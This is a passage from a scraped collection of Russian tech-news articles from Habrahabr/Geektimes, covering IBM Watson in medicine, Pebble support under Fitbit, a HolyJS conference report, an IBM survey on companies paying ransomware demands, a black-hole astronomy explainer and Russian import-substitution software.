В практике Watson попадаются и уникальные случаи. Когда лечение пациентки, страдающей от лейкемии, оказалась неэффективным, группа японских врачей обратились к IBM за помощью. Watson смог определить, что женщина на самом деле страдала редкой формой лейкемии, которую врачи не сумели выявить. Для постановки правильного диагноза Watson сравнил генетические данные пациента с информацией из 20 миллионов онкологических исследований. Критика: Watson не то, чем кажется У вас волчанка!
Вот мы и пришли к тому, из-за чего появилась статья. Итак, есть мнение, что Watson — это завуалированная рекламная кампания, предназначенная для продаж различных облачных услуг компании IBM.
Зачем нужна реклама, делающая крупную ставку на спасение всего человечества? Дело в том, что IBM уже несколько лет теряет прибыль, а общий долг компании составляет 44,5 млрд долларов. IBM два года демонстрировала самую слабую динамику в «элитном» индексе Dow Jones: курс акций падал с января 2013 по январь 2015 года. Подобное случалось в истории лишь однажды: «голубые фишки» Bethlehem Steel, одной из лидирующих компаний на рынке, в середине 90-х также два года подряд терпели крах. Затем компания обанкротилась.
Очевидно, что в IBM не хотели краха и стали массивно вкладываться в брендинг облачных предложений, а Watson удачно помог создать образ технологического будущего и остановил волнение инвесторов.
Проблема в том, что возможности суперкомпьютера и облачных технологий компании IBM не намного превосходят возможности обычного поискового сервиса. Watson может подтвердить то, что врач уже знает, но ведь человек и так уже знает диагноз и уверен в своем выборе, если это хороший специалист.
Watson может подсказать способ лечения, о котором не подумал онколог? Это может сделать любой, прочитавший статью: пиявки, кровопускание, алхимия, иглоукалывание, хиропрактика, гомеопатия, хиромантия, электрошоковая терапия, лоботомия, магия вуду. Есть тысячи других методов лечения, о которых не подумал бы обычный врач.
Если Watson говорит, что есть какой-то альтернативный способ вылечить больного, это не обязательно означает, что способ вообще жизнеспособен. Среди всех опубликованных материалов ни слова не говорится о том, меняли ли врачи метод лечения в зависимости от советов Watson. Нет, они могли корректировать диагноз, это правда, но лечил человека всегда сам врач.
Другой проблемой является тот факт, что Watson может рассматривать только уже написанную и оцифрованную информацию о болезни, а это означает, что более редкие заболевания с небольшим количеством клинических исследований ему труднее обнаружить просто потому, что нет в наличии достаточного количества данных. Нет, Watson, очевидно, не может сравниться с доктором Хаусом.
По пресс-релизам IBM складывалось впечатление, что они могут создать нечто более мощное, чем программу, которая будет читать все существующие медицинские записи и рекомендовать лечение для данного набора симптомов. Однако до сих пор наиболее заметным, и наиболее разрекламированным достижением Watson была победа в Jeopardy («Своя игра») еще в 2011 году. IBM's Watson: A Disaster In The Making
Watson является вершиной усилий IBM в области «когнитивных вычислений», однако на практике за этими словами стоит информационный поток, который генерируется внутри самой компании. IBM использует «когнитивность», чтобы описать универсальный алгоритм искусственного интеллекта, но все существующие приложения ИИ предназначены для выполнения узких специфических задач: чтобы распознать, к примеру, котика на фотографии.
Одна из крупнейших компаний в мире удивительно одинока в этом подходе: более чем 85% новостей о «когнитивных вычислениях» за последние 5 лет генерировались самой IBM. Все остальные технологические гиганты делают ставку на менее амбициозные проекты, с гораздо более прямыми и точными названиями. Луч света
Даже если взять в расчет самый пессимистический прогноз — Watson это раздутый рекламный проект для продаж облачных технологий — нельзя избавиться от двух фактов: это машина, и она работает. Никогда прежде во всей человеческой истории люди не получали столь мощное подспорье в деле постановки диагнозов.
Возможно ли, что негативные сентенции рождаются не в последнюю очередь от самих медиков? Предположим, что суперкомпьютер верно диагностирует болезнь и назначает лечение, зачем вообще этой системе понадобится человек, если он не лежит на больничной койке?
История не сулит ничего хорошего для юристов, врачей и водителей грузовиков. Да, Watson работает во многом не лучше человека и даже не так хорошо, как человек, но он никогда не спит, не отдыхает, не ест, не просит отпуск, не уходит в декрет, не требует прибавки к зарплате, как и саму зарплату. Он не может ошибиться, потому что вчера отмечал день рождения, пьян, устал, состарился, занервничал, испугался, задумался, подсел на викодин. Пока вы читаете эти строки, Watson продолжает обучаться. И пусть пока мы можем считать, что опухоль мозга сложнее, чем игра в Го, но Го пала уже вчера, а диагностика — следующая на очереди.
В статье использованы материалы:
» Экспертные системы
» Здоровье Mail.Ru
» IBM Is Counting on Its Bet on Watson, and Paying Big Money for It
» Watson correctly diagnoses woman after doctors were stumped
» IBM’s Watson AI Recommends Same Treatment as Doctors in 99% of Cancer Cases
» THIS R EXTENSION GIVES DATA SCIENTISTS ACCESS TO IBM WATSON
» Dr House goes digital as IBM’s Watson diagnoses rare diseases
» IBM Watson accurately matches oncologists' advice, study finds
» IBM's Watson: A Disaster In The Making
» Medicine, diagnosis and treatment in the Middle Ages
» http://xkcd.com/1619/ | https://geektimes.ru/company/mailru/blog/283696/ |
habrahabr | Fitbit обещает, что будет поддерживать Pebble еще 1 год | ['pebble watch', 'pebble', 'fitbit', 'смарт-часы', 'носимая электроника', 'носимые гаджеты'] | Хорошая новость для пользователей смарт-часов Pebble — Fitbit пока не бросает их на произвол судьбы.
О полной поддержке речи не идет, но облачные сервисы, API и прошивки — будут доступны на... | Хорошая новость для пользователей смарт-часов Pebble — Fitbit пока не бросает их на произвол судьбы.
О полной поддержке речи не идет, но облачные сервисы, API и прошивки — будут доступны на протяжении всего 17 года. Об этом Pebble написала в своем официальном блоге: The Pebble Experience Through 2017 Fitbit is going out of its way to keep Pebble software and services running through 2017. To be clear, no one on this freshly-formed team seeks to brick Pebble watches in active service. The Pebble SDK, CloudPebble, Timeline APIs, firmware availability, mobile apps, developer portal, and Pebble appstore are all elements of the Pebble ecosystem that will remain in service at this time. Pebble developers are welcome to keep creating and updating apps. Pebble users are free to keep enjoying their watches.
За этот год будет ясно, что будет дальше с развитием носимой электроники Fitbit, пойдет ли она по пути Pebble, а если нет — то будет время найти альтернативу, если компании-конкуренты подсуетятся и выпустят аналоги | https://geektimes.ru/post/283750/ |
habrahabr | Когнитивная система IBM поможет врачам автоматизировать анализ медицинских снимков | ['ibm watson', 'медицина', 'здоровье', 'здравоохранение'] |
Корпорация IBM в конце ноября представила новое решение для анализа медицинских снимков на базе IBM Watson. Решение было представлено подразделением Watson Health совместно c Merge... |
Корпорация IBM в конце ноября представила новое решение для анализа медицинских снимков на базе IBM Watson. Решение было представлено подразделением Watson Health совместно c Merge Healthcare. Проект предназначен для повышения эффективности работы врачей в отношении диагностики, лечения и мониторинга состояния пациентов. Система разрабатывалась на основе результатов десятилетней работы специалистов IBM в сфере искусственного интеллекта и машинного обучения. В итоге эксперты смогли «научить» Watson анализировать снимки, делая выводы и обучаясь в ходе работы.
Изображения в медицине — важный источник данных о состоянии здоровья пациента. По мнению экспертов, объем этой информации в медицине составляет около 90% от общего объема всех данных. В целом, это хорошая тенденция, но врачи во многих больницах просто завалены такими снимками. Даже самый опытный специалист не всегда может сходу разобраться с изображением, а ведь все это нужно делать быстро и точно. В некоторых больницах врачам приходится просматривать тысячи снимков ежедневно.
Автоматизированных инструментов, которые помогали бы врачам выполнять эту работу, пока очень небольшое количество. В большинстве случаев врачи делают все вручную, самостоятельно. На анализ остается не так много времени, а ведь это — важнейшая работа, которая во многом определяет результат диагностики и ход лечения.
IBM Watson уже научился анализировать такие снимки, плюс ко всему, когнитивная система может при изучении изображения связывать выводы с данными истории болезни, результатами анализов и генетических тестов.
Специалистам IBM удалось научить систему следующему:
• Аналитической оценке снимков. Об этом уже шла речь выше — система позволяет сравнивать результаты анализа снимков с другими данными;
• Обобщение данных помогает радиологам, кардиологам и другим специалистам использовать данные анализа снимков при диагностике и лечении пациентов;
• Определение кровотечения — эта функция помогает врачам неотложки диагностировать инсульт или кровоизлияние в мозг. В этом случае используется инструмент «Brain Bleed»;
• Персонализация — помогает врачам использовать индивидуальный подход к лечению конкретного пациента, интегрируя результаты анализа изображений с другой информацией, имеющей отношение к пациенту.
Также специалисты IBM разработали ряд инструментов:
• Marktation — сервис, который обрабатывает медицинские изображение перед тем, как их просматривают врачи. Это помогает специалистам работать быстрее. Работать сервис будет сначала с маммографическими снимками, затем сфера его использования будет расширена;
• Watson Clinical Integration Module — облачное приложение для врачей радиологов, которое помогает увеличить эффективность анализа снимка и снизить при этом количество ошибок;
• Lesion Segmentation and Tracking Module — этот сервис помогает врачам радиологам эффективно проводить диагностику у больных раком.
Кроме всего прочего, врачи смогут сверять свой диагноз с диагнозом Watson. Когнитивная система будет обрабатывать получаемые данные в режиме реального времени и ставить собственный диагноз.
Демонстрация возможностей IBM Watson на конференции RSNA 2016 ( Radiological Society of North America Annual Meeting )
Разработчики системы уже продемонстрировали ее возможности. В частности, IBM Watson показал свою способность использовать данные из тысяч источников для помощи в диагностировании заболевания нескольких пациентов. Данные, предоставляемые сервисом, не окончательные — это сводный отчет с выводами, помогающими работать специалисту — человеку. В частности, IBM Watson помог выявить аномалии — диссекцию аорты или эмболию легочной артерии.
В целом, IBM Watson способен помочь врачам, снимая с них часть рутинных обязанностей по анализу снимков, помогая обрабатывать и анализировать такую информацию. Возможность же использовать дополнительные данные с информацией, полученной в ходе анализа снимков помогает ставить точный диагноз с минимальной вероятностью ошибки.
При условии успешного прохождения клинических испытаний новый сервис уже скоро сможет в полной мере помогать врачам в их нелегком деле. | https://geektimes.ru/company/ibm/blog/283752/ |
habrahabr | Как я побывала на HolyJS Moscow и нужно ли туда ходить | ['mail.ru', 'HolyJS Moscow'] |
В минувшее воскресенье, 11 декабря, мне представилась возможность поучаствовать в HolyJS Moscow, грандиозном мероприятии, целиком и полностью посвящённом JavaScript. Количество информации на... |
В минувшее воскресенье, 11 декабря, мне представилась возможность поучаствовать в HolyJS Moscow , грандиозном мероприятии, целиком и полностью посвящённом JavaScript. Количество информации на конференции поражало воображение (не обошлось даже без упоминания других технологий, хотя это логично: в мире веб-разработки всё взаимосвязано), однако из всего массива лично мне запомнилось четыре доклада. Сразу оговорюсь: дело не в том, что другие были лучше или хуже, просто именно эти привлекли моё внимание больше остальных. И здесь я поясню подробно, почему это так.
Для начала — небольшое лирическое отступление. Одна из причин моего переезда в Москву заключалась как раз в том, чтобы иметь возможность участвовать в подобных мероприятиях, находиться в центре последних новостей и технологий, всегда быть на гребне волны и в курсе модных тенденций в мире frontend. Я даже не помню, когда именно меня охватила мания к изучению всей информации, которая меня окружает, но так было не всегда. Уверена, что в этом стремлении я не одинока. Многие из вас пытались или даже пытаются в данный момент изучить 16 фреймворков и 23 библиотеки за неделю и за одну ночь выкатить шесть проектов. Откуда это берётся? С одной стороны, интуитивно понятно, что, если не успевать за новыми технологиями, можно оказаться невостребованным. Так что, возможно, всеми нами движет страх. Но с другой — задайте себе вопрос: так ли это на самом деле? Останутся ли ребята без знания webpack, например, или изоморфного рендеринга не у дел? Ведь ирония гонок за технологиями заключается в том, что можно напороться на фреймворк, о котором все говорят, начать его изучать, убить -дцать ночей и однажды проснуться вместе с релизом новой, несовместимой с обратной, версии этого же фреймворка. Более того, эта версия будет с новым синтаксисом, терминами и абсолютно другим подходом.
Эту историю мы все знаем либо по собственному опыту, либо по чужим рассказам. Мы начинаем говорить: «За технологиями не угонишься», «Это сегодня модно, завтра уже нет» или «Пока я буду разбираться с этой библиотекой, выйдет ещё семь». Однако даже зная, что такое произойдет, всё равно спешим собрать новый проект на модных инструментах хотя бы в песочнице, чтобы избавиться от страха, что мы в не теме. Я вовсе не хочу сказать, будто изучать новое — это плохо! Но что именно изучать? Сколько времени тратить? Иными словами, как остаться востребованным frontend-разработчиком, чтобы не умереть от недосыпа и стресса к 30 годам?
Совсем недавно я пришла к выводу, что жизнь в формате ночного кодинга и круглосуточной работы над изучением технологий — это не жизнь. Подводит здоровье, рано или поздно накрывает депрессия, а самое ужасное — ты начинаешь думать, что у тебя ничего не получается, да и как разработчик ты, в принципе, так себе. Это называется фрустрация. Знакомо? А ведь главная её причина кроется в банальной усталости. Поэтому в моей жизни появилось лимитированное время на работу. Оно постоянно пытается вырваться из рамок и захватить всю жизнь, но я держусь. Именно по этим причинам меня так зацепил доклад Дениса Мишунова под названием «Debugger».
Первым делом Денис указал на симптом, по которому можно выявить у себя эту «болезнь», приведя элементарный пример. Итак, вы пришли на конференцию, где в один и тот же момент читают три интересных доклада, и не знаете, куда идти. А когда уже выбрали — думаете: а вдруг там, на другом докладе, информация более важная… Знакомая ситуация? Я от души посмеялась, потому что пример попал в точку.
Отметил Денис и то, что привычная многим фрустрация на самом деле только мешает мозгу изучать новую информацию. Тема перфекционизма (без которого мы вообще не живём) была раскрыта на факте из биографии Генри Форда, который однажды прислушался к словам своего помощника и решился выпустить неидеальную (по мнению Форда) машину. В итоге именно это ключевое решение сделало его всемирно известным и чрезвычайно богатым человеком. Ещё один пример — письмо Гарвардского университета с заголовком « Slow down » («Сбавьте темп»), в котором студентов призывали не убиваться, изучая информацию, и не стремиться уложить два или даже три года обучения в один.
Это был единственный нетехнический доклад на конференции, который, прозвучав в самом завершении мероприятия, выделялся больше всех. Уверена, что в скором времени он появится в Сети. Обязательно посмотрите его и задумайтесь: правильно ли вы поступаете? Может, по ночам стоит спать? Или вы остаётесь при мнении, что сон для слабаков?
Два следующих доклада я объединила для себя, поскольку они перекликаются друг с другом и решают одну проблему: транспорт. Тут можно поспорить (куда же без этого), но, забегая вперед, сообщу, что сами авторы со мной отчасти согласились.
Суть в том, что веб-разработка усложняется с каждым днём, если не с каждым часом. Появляется всё больше составных частей и, как следствие, вопросов коммуникации между ними. Проблема создания плагина для отладки сборки или продукта, в котором нужно проводить транзакции между сервером и клиентом, становится всё острей. Нам нужно покрывать всё больше и больше кейсов и решать всё больше проблем, о которых мы раньше даже не подозревали. Варианты выхода из этого сложного положения были описаны в докладах Ромы Дворнова про Rempl и Андрея Ситника про Logux. Rempl (remote platform) — это платформа для контролируемого удалённого доступа к JavaScript runtime с использованием UI. Если понятней, это набор всего самого необходимого, что упрощает создание удалённых инструментов. Интерфейс таких инструментов может запускаться как в плагине для Chrome, так и в отдельной вкладке или в плагине к редактору. Возможности использования Rempl просто взрывают мозг — от инструментов, библиотек и фреймворков до «безумных» идей вроде простого файлообменника. Коллеги из компании Avito создали Rempl, решая свои задачи, но решили поделиться наработками со всеми. Теперь вместо мучений с проблемами инфраструктуры мы сразу думаем, что можно сделать, имея удаленный доступ к одному JavaScript runtime из другого через пользовательский интерфейс. Какие-то части платформы ещё в разработке, но уже сейчас ребята приглашают всех поучаствовать в жизни opensource-проекта и воплотить свои фантазии в жизнь. К тому же самому вас призываю и я! Logux — это транспорт, синхронизирующий состояние данных на сервере и клиенте и решающий, таким образом, проблему потери интернета у пользователя. Название технологии может показаться вам созвучным с Redux, и это не случайность. Logux является своего рода объединением Redux и Swarm.js. Первая часть названия Logux отражает подход к синхронизации данных — через логи. Например, если вы оказались в лесу, горах или на необитаемом острове и отправили комментарий под фоточку с котиком, то, когда вы появитесь в Сети, хронологически он окажется именно там, где и должен был находиться, когда вы нажимали кнопку «отправить». Логи на сервере и клиенте синхронизируются по времени. Андрей отметил, что технология пока ещё сырая, а готовую версию обязательно будут предоставлять сразу с рекомендациями к применению и лучшими практиками. Несмотря на разность двух технологий, Rempl и Logux, согласитесь: они действительно перекликаются, решая проблемы сложных коммуникаций.
Последний доклад, о котором я хочу рассказать («Мутация Web»), представил Павел Кондратенко. В частности, он рассказывал о способах, с помощью которых Lenta.ru удерживает пользователей на сайте: о push-уведомлениях, AMP (js-библиотеке от Google для ускорения работы web-страниц на мобильных устройствах, которая ещё и способствует их индексации) и… о крестиках-ноликах. Да, именно о крестиках-ноликах. Мини-игра открывается, если пользователь уже был на странице Lenta.ru с телефона, но у него пропал интернет. Теперь читатель больше не закрывает страницу, а остаётся на ней и играет в крестики-нолики. Круто? Очень круто. Можно прямо сейчас рвануть и проверить, что это так. Единственный минус — опция работает только для смартфонов на Андроиде. Вопрос «почему?» предлагаю задать Павлу лично. Что же касается push-уведомлений, то они являются новинкой для современного рынка и только-только начинают привлекать внимание бизнеса. А между тем, как показывает опыт Lenta.ru, количество посещений страниц сайта после начала использования уведомлений увеличилось на 2 %.
Таковы четыре доклада, которые я решила выделить из всей конференции. Повторюсь, это совсем не значит, что остальные оказались скучными или неважными! На HolyJS Mosсow было огромное количество интересной информации, которую представили прекрасные англо- и русскоговорящие спикеры. Отдельно хотелось бы отметить отличный звук и подарки вроде шоколада от HolyJS (чтобы мозг лучше работал) или моей новой худи с надписью «JavaScript» (чтобы теперь уж точно было видно, что я веб-разработчик). Наконец, нельзя не упомянуть площадку для холиваров после выступлений, которая не пустовала ни на минуту, и, конечно же, afterparty с душевными разговорами о технологиях и общением со спикерами. Я могу с уверенностью сказать, что с каждой такой конференцией мы становимся всё ближе и ближе к европейскому комьюнити разработчиков.
В завершение. На мероприятии я встретила коллег со своего прошлого места работы, которые сами уже трудятся в других компаниях. Мы обменялись новостями и тёплыми воспоминаниями. Также я увидела знакомых с прошлых конференций, наладила новые связи, подружилась с отличными разработчиками, вдохновилась на очередные свершения и просто была счастлива, что являюсь частью этого большого сообщества. Стоит ли посещать такие мероприятия и тусовки, как HolyJS Moscow? Несомненно, да! Потому что только здесь вы сможете не только встретить своих старых знакомых или познакомиться с будущими друзьями-коллегами-единомышленниками, но и набраться знаний и вдохновения на создание по-настоящему крутых вещей!
P. S. Знаете, что самое ужасное? После конференции, а точнее после закрывающего доклада Дениса о том, что нужно сбавить темп, я просидела полночи за компьютером, перебирая в интернете всё услышанное и изучая документации… Уверена, что в этом я была не одинока! Всё-таки мы неизлечимы: мы разработчики. | https://habrahabr.ru/company/mailru/blog/317694/ |
habrahabr | 70% американских компаний платили выкуп после заражения | ['ransomware', 'криптовымогатель', 'Петя', 'Пила', 'самоисполняющееся пророчество'] |
Инструкции по оплате выкупа от криптовымогателя «Пила» (Jigsaw)
Нападение на компанию с требованием выкупа по-прежнему остаётся популярным видом заработка в хакерской среде. Раньше было... | Инструкции по оплате выкупа от криптовымогателя «Пила» (Jigsaw)
Нападение на компанию с требованием выкупа по-прежнему остаётся популярным видом заработка в хакерской среде. Раньше было принято устраивать DDoS-атаку и предлагать услуги по защите от DDoS (или «независмый консалтинг»), но это был довольно опасный способ. Ведь приходилось вступать в личный контакт с жертвой, которая наверняка что-то подозревала. Неспроста ведь человек предлагает свои услуги сразу после начала DDoS.
Теперь же появились способы вымогательства, которые не предполагают никакого личного контакта. С оплатой за биткоины риски почти исчезли. И самое главное, что компании послушно платят в большинстве случаев.
Согласно новому исследованию IBM , 70% компаний, ставших жертвами программ-криптовымогателей (ransomware), действительно платят мошенникам .
Обычно такие факты не афишируются. Владельцам бизнеса стыдно признаться, что у них не было резервных копий или те тоже оказались зашифрованы. Что уровень информационной безопасности на фирме такой слабый, что сотрудники лазят по порносайтам и соцсетям в рабочее время. В общем, признание в оплате выкупа — это расписка в непрофессионализме. Поэтому большинство предпочитают молчать. Но опрос IBM был организован на условиях анонимности, так что показал более объективное положение дел.
Первая программа-криптовымогатель была обнаружена в 1989 году , с тех пор они изредка проявляли себя, но в 2016 году зафиксирован гигантский всплеск популярности таких зловредов. По данным IBM X-Force, доля файлов-криптовымогателей в приложениях к спаму с начала года выросла с 0,6% почти до 40%, а в течение года однажды достигала даже 60%.
Программы действуют просто. После установки на компьютер они сканируют файловую систему и находят все носители с документами, совпадающими с маской для шифрования. Постепенно эти документы шифруются, а по окончании процесса все оригинальные копии файлов удаляются.
Кроме шифрования файлов, программа может инфицировать загрузочный сектор диска (MBR), как это делал криптовымогатель Petya .
Затем компании обычно предлагают оплатить небольшую сумму (обычно 1 биткоин), чтобы получить ключ для расшифровки файлов. Для бизнеса эта сумма действительно небольшая, и многие без колебаний платят её, чтобы снова продолжить работу.
Впрочем, в последнее время фиксируются варианты зловредов, специально нацеленных на юридических лиц, которые требуют выплаты четырёх- и пятизначных сумм , а в некоторых случаях — даже миллионы долларов . Известны случаи, когда жертвы действительно выплачивали крупные суммы.
Судя по нынешним тенденциям, специалисты IBM ожидают ещё большего распространения криптовымогателей. В конце концов, с такой угрозой может столкнуться каждая компания, в которой ценные данные хранятся локально и не налажен процесс качественного резервного копирования.
По оценке ФБР , только за три месяца 2016 года американские компании выплатили вымогателям (не будем называть, из каких стран) более $209 млн ! Такими темпами суммы выкупа могут перевалить за миллиард долларов в год.
Проведённое исследование IBM выявило, что большинство потенциальных жертв атаки по-прежнему не имеют понятия, что такое криптовымогатели. Только 31% пользователей что-то слышали о криптовымогателях. Неосведомлённость об угрозе, несомненно, на руку злоумышленникам.
Самая интересная часть исследования IBM — это изучение вопроса, насколько готовы граждане США и коммерческие компании платить выкуп, чтобы восстановить доступ к своим файлам. Вот здесь ещё одна хорошая новость для вымогаталей. Американцы в большинстве своём готовы и будут платить. Изучим, кто именно будет платить и за какую информацию.
Медицинские записи и личные фотографии — не слишком прибыльная цель. Менее половины пользователей готовы заплатить, чтобы вернуть их. Исключение составляют финансовые данные (эффективность рассылки зловреда 54%).
Родители больше всего ценят цифровые фотографии (эффективность 55%). Для других категорий пользователей ценность этого актива ниже (заплатят только 39%).
Тинейджеры ( миллениалы ) ценят свои цифровые файлы более высоко, чем люди старшего поколения. В среднем, каждый второй готов заплатить выкуп до $100, чтобы вернуть различные типы данных.
Разумеется, количество платежей напрямую зависит от суммы выкупа. Небольшую сумму до $100 готов платить каждый второй, а вот сумму в $1000 заплатит не каждый. С точки зрения преступника важно найти математический оптимум с максимизацией валового дохода. Может, будет эффективнее заразить одного богача, чем тысячу «нищебродов».
С коммерческих компаний можно собрать гораздо больше денег. В опросе IBM участвовали представители 600 компаний с разным количеством сотрудников, как малый бизнес, так и представители крупных компаний. Результаты опроса оказались слегка неожиданными. Оказалось, что 46% опрошенных фирм уже сталкивались с криптовымогателями, а 70% из них реально заплатили выкуп. 20% заплатили более $40 000
25% заплатили от $20 000 до 40 000
11% заплатили от $10 000 до 20 000
То есть в данном случае бизнес-модель не просто теоретическая, а уже опробована в деле и подтверждена.
Учитывая такую высокую эффективность этого вида мошенничества, можно ожидать широкого распространения криптовымогателей в ближайшее время, особенно в богатых странах. Соответственно, это должно привести к росту курса биткоина из-за увеличения спроса на криптовалюту. Будем считать, что это самоисполняющееся пророчество . | https://geektimes.ru/post/283754/ |
habrahabr | Спросите Итана №114: Можем ли мы увидеть сверхмассивную чёрную дыру в центре нашей Галактики? | ['спросите итана', 'чёрные дыры', 'галактика', 'млечный путь', 'вселенная', 'телескопы', 'радиотелескопы'] | Одним из самых удивительных открытий астрофизики стало обнаружение гигантских чёрных дыр. Оказалось, что чёрные дыры формируются не только из сколлапсировавших ядер очень массивных звёзд, массой до... | Одним из самых удивительных открытий астрофизики стало обнаружение гигантских чёрных дыр. Оказалось, что чёрные дыры формируются не только из сколлапсировавших ядер очень массивных звёзд, массой до 100 солнечных.
Сверхмассивные чёрные дыры, существующие в центрах галактик, имеют массу в миллионы, а иногда и миллиарды раз превышающую солнечную. Такая ЧД существует и в центре нашей Галактики. Пока что её можно было наблюдать лишь косвенно, но это не устраивает нашего читателя, спрашивающего: Насколько я понимаю, в центре нашей галактики есть массивная чёрная дыра. Как близко нужно подобраться к ней, чтобы увидеть? Я думаю, не нужно быть слишком близко к горизонту событий, но раз вокруг неё есть столько звёзд, а вся пыль и обломки засасываются в ней, вряд ли её можно увидеть с достаточно большого расстояния, даже если находится сверху или снизу плоскости галактики.
Для начала расскажем, откуда нам известно о существовании чёрной дыры в центре нашей Галактики.
В видимом свете большое количество пыли, существующее в плоскости Галактики, закрывает нам вид на центр галактики. Но на других длинах волн, инфракрасных, рентгеновских и радио, мы можем видеть сквозь пыль и обнаружить много интересного, включая горячий газ, движущийся с огромными скоростями, вспышки, соответствующие поглощению материи ЧД, и самое интересное, орбиты отдельных звёзд проходят вокруг одной и той же точки, вообще не испускающей света.
Всё согласуется с тем, что в этой точке находится сверхмассивная чёрная дыра массой в 4 миллиона солнечных. А чем ЧД массивнее, тем она крупнее. Или, точнее, физически больше её горизонт событий – окружающий её регион, из которого не может убежать свет. Если бы наша Земля вдруг превратилась ЧД, она стала бы крошечной: диаметр её горизонта событий составлял бы всего 1,7 см. В случае с Солнцем этот диаметр составил бы уже 6 км.
А диаметр горизонта событий сверхмассивной ЧД в центре Галактики составляет 23,6 млн км, или 40% от размера орбиты Меркурия вокруг Солнца. В других галактиках существуют и гораздо более крупные ЧД. Просто они находятся от нас в миллионах, а не тысячах световых лет.
Для отдельного объекта это очень большой размер, а эффекты Общей теории относительности, заставляющие пространство искривляться, только увеличивают его! Но хотя размер этого объекта гигантский, он находится от нас крайне далеко, из-за чего его очень трудно рассмотреть. На расстоянии в 26000 световых лет видимый размер ЧД составит всего 19 угловых микросекунд, или 19 миллионных долей от одной шестидесятой доли одной шестидесятой доли градуса. Чтобы представить это, скажем, что разрешение космического телескопа им. Хаббла составляет 26 угловых миллисекунд, что более чем в 1000 больше, чем необходимое для того, чтобы увидеть эту ЧД.
В Теории, если мы подберёмся к ней ближе, на расстояние в несколько сотен световых лет, мы сможем увидеть её непосредственно. Но это практически неосуществимо. Однако у нас есть одна технология, способная позволить нам обойти это ограничение. На некоторых длинах волн, в частности, радио и рентгеновских, чёрная дыра может иногда ярко вспыхивать, или же объекты, проходящие рядом с ней, могут подсвечивать горизонт событий сзади.
Максимальное разрешение определяется размером зеркала телескопа – сколько длин волн может уместиться поперёк этого зеркала. Поэтому у рентгеновского телескопа Chandra разрешение очень большое, хотя сам он и невелик: у рентгена очень маленькая длина волны, и таких волн поперёк зеркала может поместиться много. Поэтому радиотелескопы такие огромные: радиоволны могут достигать нескольких метров, и для получения хороших разрешений требуются огромные телескопы. Радиотелескопы в Пущинской радиоастрономической обсерватории
Но для получения большего разрешения есть обходной путь, не требующий постройки телескопа размером с Землю. Мы можем использовать набор телескопов, разделённых очень большими базисными линиями. Они будут собирать свет, как обычные, то есть объект будет довольно тусклым, но их разрешение будет таким же, как у телескопа с зеркалом, диаметр которого сравним с расстоянием между самыми удалёнными телескопами из массива!
Именно такую идею реализовывает проект Event Horizon Telescope, планирующий использовать большие базисные линии для коротких длин волн (1 мм) именно для интересующего нас измерения! Пока есть два предложения – для массива из 7 и из 13 станций, каждое из которых ответило бы на вопрос «есть ли у ЧД настоящий горизонт событий», пронаблюдав ЧД напрямую!
Стрелец A*, ЧД в центре Галактики, это идеальная цель, и ожидается, что у неё будет крупнейший из видимых с Земли горизонт событий. Забавно, что второй по размеру должен оказаться у ЧД в центре М87, крупнейшей галактики в скоплении Девы, и его размер будет в 5 раз больше максимального разрешения Event Horizon Telescope, а значит, мы сможем детально рассмотреть его джет, и понять, как именно эти сверхзвуковые выбросы формируются и ведут себя!
Но если вопрос был связан с использованием ваших глаз, если вы сами хотели увидеть ЧД – мне придётся вас разочаровать.
Разрешение человеческого глаза пустяковое, это всего 60 угловых секунд, то есть, чтобы рассмотреть нечто, чей видимый размер составляет 19 угловых микросекунд, вам нужно быть в три миллиона раз ближе к нему, то есть, подобраться на расстояние в 546 а.е. Ближайшая к нам звезда – солнце, а следующая – Проксима Центавра, она находится в 4,24 световых годах, или в 268 000 а.е. Да-да, вам нужно было бы быть в 500 раз ближе к ЧД, чем к ближайшей к нам звезде (кроме Солнца), только чтобы вообще рассмотреть хоть что-нибудь.
Я рекомендую пользоваться телескопами. Это и быстрее, и дешевле, и безопаснее межзвёздного путешествия – и более полезно, так как с их помощью можно увидеть гораздо больше, чем с помощью глаз. | https://geektimes.ru/post/283758/ |
habrahabr | Российское ПО в офисах компаний — текущие реалии и перспективы, мнения и опыт экспертов | ['импортозамещение', 'разработка по', 'российский софт', 'отечественный производитель', 'конкуренция', 'мнения экспертов'] |
Большинство информационных технологий, средств и методологий разработки программного обеспечения пришли к нам с Запада.
В связи с этим российским программистам и инженерам некоторое время... |
Большинство информационных технологий, средств и методологий разработки программного обеспечения пришли к нам с Запада.
В связи с этим российским программистам и инженерам некоторое время пришлось идти позади «паровоза». Однако постепенно мы в чем-то перестали уступать первоисточнику, а где-то даже вышли вперед. Безусловно, проигрывая в коммерческом плане, многие российские разработки незаслуженно забыты или находятся на обочине ИТ-индустрии. Но некоторые продукты все-таки заняли заметное место в мире.
Теперь же, с появлением концепции импортозамещения, эта несправедливость может быть частично восстановлена, пусть и в масштабе только одной страны. Однако далеко не все отечественные разработки способны заменить зарубежные аналоги. Здесь и возникает простор для дискуссий, аргументированной критики, надежд на светлое будущее.
Мы пообщались с представителями российских компаний и попросили высказать свое отношение по поводу того, что происходит с разработкой российского ПО сейчас. Мы также выяснили, насколько они готовы использовать отечественный софт, и какой софт уже используют в работе.
Мы задали экспертам следующие вопросы: • В каких категориях программного обеспечения продукты российской разработки уже конкурируют, или могли бы конкурировать, с иностранным ПО и оборудованием? • Использует ли ваша компания в настоящий момент какое-то ПО отечественной разработки? В каких отделах (разработка, продажи, бухгалтерия и так далее)? А оборудование отечественного производства? • Существует ли какое-то направление, в котором российский софт лидирует на мировом рынке? На российском рынке? • Насколько качество (быстродействие, отказоустойчивость, удобство использования) российского конкурентоспособного ПО сопоставимо с иностранным? • Насколько цены на российское ПО сопоставимы с иностранными? • Какими качествами, в первую очередь, должен обладать продукт отечественной разработки для того, чтобы ваша компания рассмотрела возможность его интеграции в существующие процессы? В каких категориях программного обеспечения продукты российской разработки уже конкурируют, или могли бы конкурировать, с иностранным ПО и оборудованием? Александр Осипов, руководитель отдела маркетинга группы компаний «Пилот»:
Конечно, полноценных российских аналогов операционной системы от Microsoft или их офисного пакета нет. И давайте смотреть правде в глаза, даже если они и появятся, то не факт, что будут востребованы: большинство пользователей привыкло к решениям Microsoft, и вряд ли они сразу захотят их сменить.
Но если говорить про прикладное программное обеспечение, которое используется для решения бизнес-задач, то с ним в России дела обстоят хорошо: например, AmoCRM, «Мегаплан», «Битрикс24» с многочисленными модулями, KeyCollector. Глядя на них, сразу становится понятно, что отечественный софт не только лучше подходит под российское законодательство, бизнес-процессы и ментальность народа, но и иногда удобнее, функциональнее западных аналогов.
